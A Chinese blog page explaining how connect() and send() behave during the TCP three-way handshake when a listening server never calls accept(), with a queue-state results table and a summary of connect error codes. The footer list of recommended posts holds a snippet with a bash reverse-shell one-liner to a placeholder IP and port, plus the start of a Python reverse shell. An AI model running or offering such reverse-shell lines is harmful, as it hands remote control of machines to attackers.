connect & send 在三次握手过程中的有趣问题
一、问题回顾
面试的时候被问到的问题,原问题是:
1:写一下socket网络编程服务端和客户端常用的函数。
2:如果服务端在listen之后没有accept,那客户端的connect会返回吗?为什么?
3:此时调用send发数据会怎么样?
在看下面答案之前,推荐阅读:
深入探索 Linux listen() 函数 backlog 的含义
Socket accept queue is full 但是一个连接需要从SYN->ACCEPT
下面是我对这个问题实验整理的结果:
| 情况 | ESTABLISHED 队列没有满 | SYN_RECV队列没有满 | SYN_RECV 队列满了 |
|---|---|---|---|
| connect返回情况 | connect 正常返回 | connect 正常返回 | connect返回timeout错误 |
| send写数据 | 完全正常写,并且数据会被服务器回复ack确认。之后如果accept,可以read出数据。 | 不能正常发送,会不断触发重传,但是数据不会被确认。 | 这时候的socket是完全disconnect的,send给disconnect的socket写数据,触发SIGPIPE信号,默认杀死本进程。 |
二、总结
有关connect函数返回错误的情况,常见的有下面三种:
- 返回
TIMEOUT,即SYN_RECV队列都满了,对于客户端发来的三次握手第一次的SYN都没有办法响应,这时候TCP会隔6s,24s重发,直到75s,如果还是没有被接受,最后返回TIMEOUT错误。 - 返回
ECONNREFUSED错误,表示服务器主机没有在相应的端口开启监听。 - 返回
EHOSTUNREACH或ENETUNREACH,表示在某个中间路由节点返回了ICMP错误,这个错误被内核先保存,之后继续按照6s,24s重发,直到75s,如果还是没有响应,就返回EHOSTUNREACH或ENETUNREACH错误。
我那个问题只涉及了TIMEOUT的情况,没有后两种,另外:
connect什么时候正常返回?其实是客户端收到服务器三次握手第二次返回的
SYN+ACK之后,自己进入了ESTABLISHED状态(TCP状态转换图),这时候connect就会正常返回了。
connect & send 在三次握手过程中的有趣问题的更多相关文章
- TCP三次握手过程中涉及的队列知识的学习
先上一张图 (图片来源:http://www.cnxct.com/something-about-phpfpm-s-backlog/) 如上图所示,这里有两个队列:syns queue(半连接队列): ...
- TCP连接建立的三次握手过程可以携带数据吗?
前几天实验室的群里扔出了这样一个问题:TCP连接建立的三次握手过程可以携带数据吗?突然发现自己还真不清楚这个问题,平日里用tcpdump或者Wireshark抓包时,从来没留意过第三次握手的ACK包有 ...
- TCP的三次握手过程与四次挥手
TCP握手协议 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确 ...
- 【转】简述TCP的三次握手过程
TCP握手协议 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确 ...
- Java网络编程学习A轮_02_抓包分析TCP三次握手过程
参考资料: https://huoding.com/2013/11/21/299 https://hpbn.co/building-blocks-of-tcp/#three-way-handshake ...
- tcp三次握手过程
TCP握手协议 在TCP/IP协议中,TCP协议提供可靠的连接服务,采用三次握手建立一个连接.第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确 ...
- TCP协议:三次握手过程详解
本文通过图来梳理TCP-IP协议相关知识.TCP通信过程包括三个步骤:建立TCP连接通道,传输数据,断开TCP连接通道.如图1所示,给出了TCP通信过程的示意图. 上图主要包括三部分:建立连接.传输数 ...
- Http协议三次握手过程
Http协议三次握手过程 TCP(Transmission Control Protocol) 传输控制协议 TCP是主机对主机层的传输控制协议,提供可靠的连接服务,采用三次握手确认建立一个连接: ...
- 简述TCP的三次握手过程
一.TCP报文格式 TCP/IP协议的详细信息参看<TCP/IP协议详解>三卷本.下面是TCP报文格式图: 图1 TCP报文格式 上图中有几个字段需要重点介绍下: ...
随机推荐
- Dapr + .NET Core实战(五)Actor
什么是Actor模式 Actors 为最低级别的"计算单元" 以上解释来自官方文档,看起来"晦涩难懂".大白话就是说Actors模式是一段需要单线程执行的代码块 ...
- Windows Server 2008 系统加固
账号安全:更改管理员账号 更改管理员账户名来避免攻击,提高系统安全性. 以Administrator账户登录本地计算机,开始->运行->compmgmt.msc(计算机管理)->本地 ...
- P7408-[JOI 2021 Final]ダンジョン 3【贪心,树状数组】
正题 题目链接:https://www.luogu.com.cn/problem/P7408 题目大意 一个有\(n+1\)层的地牢,从\(i\)到\(i+1\)层要\(A_i\)点能量,第\(i\) ...
- Vue3 如何修改端口
build哪里去了?config哪里去了?配置都消失了? 对比之前Vue2 发现项目目录改动较大 找了很久才找到配置文件:node_modules\@vue\cli-service\lib\comma ...
- 2017年第二届广东省强网杯线上赛WEB:Musee de X writeup(模板注入漏洞)
目录 解题思路 总结 解题思路 拿到手上,有四个页面 首先按照题目要求执行,尝试注册一个名为admin的账户 这种情况,路径都给出来了,很可能就是目录遍历或者文件上传了 回到初始界面,点击链接here ...
- 感恩笔记之SQL查询功能最简使用模板
感恩笔记之SQL查询功能最简使用模板 第一部分:SQL单表功能 1 语句主要关键字 SELECT --查询数据列 INTO --新建数据表 FROM --查询数据表 WHERE --筛选数据表结果 O ...
- 提权AND反弹OR转发
bash -i >& /dev/tcp/ip/3333 0>&1 python -c "import os,socket,subprocess;s=socket. ...
- 我惊了!CompletableFuture居然有性能问题!
你好呀,我是歪歪. 国庆的时候闲来无事,就随手写了一点之前说的比赛的代码,目标就是保住前 100 混个大赛的文化衫就行了. 现在还混在前 50 的队伍里面,稳的一比. 其实我觉得大家做柔性负载均衡那题 ...
- 国内首篇云厂商 Serverless 论文入选全球顶会:突发流量下,如何加速容器启动?
作者 | 王骜 来源 | Serverless 公众号 导读 USENIX ATC (USENIX Annual Technical Conference) 学术会议是计算机系统领域的顶级会议,入 ...
- Java基础之(十二):数组
数组 数组概述 定义 数组是相同类型数据的有序集合. 数组描述的是相同类型的若干数据,按照一定的先后次序排列组合而成. 其中,每一个数据称作一个数组元素,每个数组元素可以通过一个下标来访问它们. 数组 ...